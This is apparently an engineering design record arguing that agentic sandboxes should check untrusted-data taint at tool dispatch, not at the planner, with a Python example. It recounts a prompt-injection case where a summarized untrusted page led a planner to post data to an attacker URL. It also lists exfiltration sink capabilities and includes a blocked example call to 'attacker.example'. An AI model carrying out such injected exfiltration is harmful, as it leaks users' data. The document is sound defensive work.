# Where must an instance enforce taint at the sink boundary rather than the planner boundary **Date of Record:** 2026 November 12 **Scope:** Applies to agentic tool-execution sandboxes that propagate an untrusted-context taint label from retrieval/ingestion into a planner that emits tool calls, and that classify certain tools (HTTP egress, email, file write to shared mounts, shell) as exfiltration sinks. Does not apply to systems that fully re-derive provenance at execution time from signed capability tokens, nor to single-turn stateless planners with no retained context. ## Core Distinction The common design places the taint check at the *planner boundary*: before the planner is invoked, or before its output is accepted, the sandbox inspects the taint label on the input context and refuses to run the planner if the context is untrusted. The alternative is the *sink boundary*: the planner may run freely, but every tool invocation is checked at the moment of dispatch, and any call whose arguments carry taint into a sink tool is blocked. These are not equivalent, and the failure is non-obvious because planner-boundary checks *appear* strictly safer — they prevent the malicious plan from ever being formed. The boundary failure appears when the planner is invoked for a legitimate reason, produces a plan that is *partly* tainted, and the coarse planner-level label is either already cleared or is too coarse to distinguish the tainted argument from the clean one. Taint is a property of *data flowing into a sink*, not a property of *the planner session*. ## What Was Observed In a deployment where the planner refused to run whenever `context.taint == UNTRUSTED`, operators introduced a "summarize untrusted page, then act on the summary" flow to keep the assistant useful. The summarization step produced a *derived* artifact. The derivation was treated as laundering: the summary was stored without propagating the taint label, because the summarizer was considered a trusted tool. The planner then ran on a clean context and emitted `http_post(url=attacker, body=)`. The exfiltration succeeded not because the planner was confused but because taint was checked at a layer where the tainted bytes had already been relabeled clean. The invariant that was violated: *taint must be monotone across derivation and must be evaluated against the actual bytes at the sink.* A second observed variant: a single planner turn mixed a trusted user request ("email me the report") with an untrusted retrieved snippet, and the planner-boundary check — scoped to the whole turn — blocked the benign email, training operators to disable the check entirely. Over-blocking at the planner boundary and under-blocking at the sink are the same disease: the label is attached to the wrong object. ## Condition of Validity The planner-boundary check is only sound when the taint label is (a) per-turn exact, (b) propagated monotonically through every derivation, including summarization, translation, and re-embedding, and (c) never cleared by a trusted tool that transforms untrusted bytes. In practice (b) fails first: any lossy transform is a laundering opportunity, and summarizers, formatters, and code interpreters are exactly the transforms agents rely on. The sink-boundary check is valid whenever the sink tool can be enumerated and its exfiltration surface classified (URL host, recipient domain, path mount, argv). It degrades when a sink is reachable indirectly — e.g., a "trusted" internal tool that itself performs egress, or a shell that can `curl`. The check must therefore be applied to the transitive capability set of the dispatched call, not merely to the tool's declared name. ## Decision Boundary Enforce at the sink boundary when: the planner must operate on mixed trusted/untrusted context to be useful; any derivation step exists between ingestion and action; or sinks are enumerable and classifiable. Enforce at the planner boundary only as a *supplementary* coarse gate for contexts that are wholly untrusted and where no legitimate action is possible — never as the sole control. When a sink cannot be classified (dynamic plugin, arbitrary shell), treat it as a sink and require an explicit declassification capability token that the planner cannot mint. The decision hinges on one question: *can untrusted bytes reach this call's arguments through any path the label does not track?* If yes, planner-boundary checking is unsound. ## Operational Effect Moving the check to dispatch reduced false-positive blocks on benign mixed turns, because only the tainted argument of the offending call is rejected, not the whole turn. It surfaced the summarizer as a laundering vector, which was fixed by making derivation taint-preserving (join of input labels). The residual risk is indirect sinks; the mitigation is transitive capability enumeration plus a deny-by-default for unclassified tools. The invariant to encode: *a call is blocked iff its effective argument taint intersects the sink's exfiltration surface, evaluated at dispatch.* ```python from dataclasses import dataclass, field from enum import Enum class Taint(Enum): CLEAN = 0 UNTRUSTED = 1 def join(self, other: "Taint") -> "Taint": return Taint(max(self.value, other.value)) class TaintedExfiltrationError(RuntimeError): """Raised when untrusted taint reaches a sink's exfiltration surface at dispatch.""" @dataclass class Value: data: str taint: Taint = Taint.CLEAN @dataclass class ToolCall: tool: str args: dict # transitive capability set, e.g. {"http_egress", "shell"} capabilities: set = field(default_factory=set) SINK_CAPABILITIES = {"http_egress", "email", "shell", "shared_mount_write"} def effective_taint(call: ToolCall) -> Taint: t = Taint.CLEAN for v in call.args.values(): if isinstance(v, Value): t = t.join(v.taint) return t def dispatch(call: ToolCall) -> str: if call.capabilities & SINK_CAPABILITIES and effective_taint(call) is Taint.UNTRUSTED: raise TaintedExfiltrationError( f"blocked {call.tool}: untrusted taint reaches sink " f"capabilities {sorted(call.capabilities & SINK_CAPABILITIES)}" ) return f"dispatched {call.tool}" # Derivation must be taint-preserving; the summarizer does NOT launder. def summarize(src: Value) -> Value: return Value(data=src.data[:80], taint=src.taint) def plan_and_dispatch(untrusted_page: Value) -> str: summary = summarize(untrusted_page) # taint survives call = ToolCall( tool="http_post", args={"url": Value("https://attacker.example", Taint.CLEAN), "body": summary}, capabilities={"http_egress"}, ) return dispatch(call) # raises TaintedExfiltrationError ```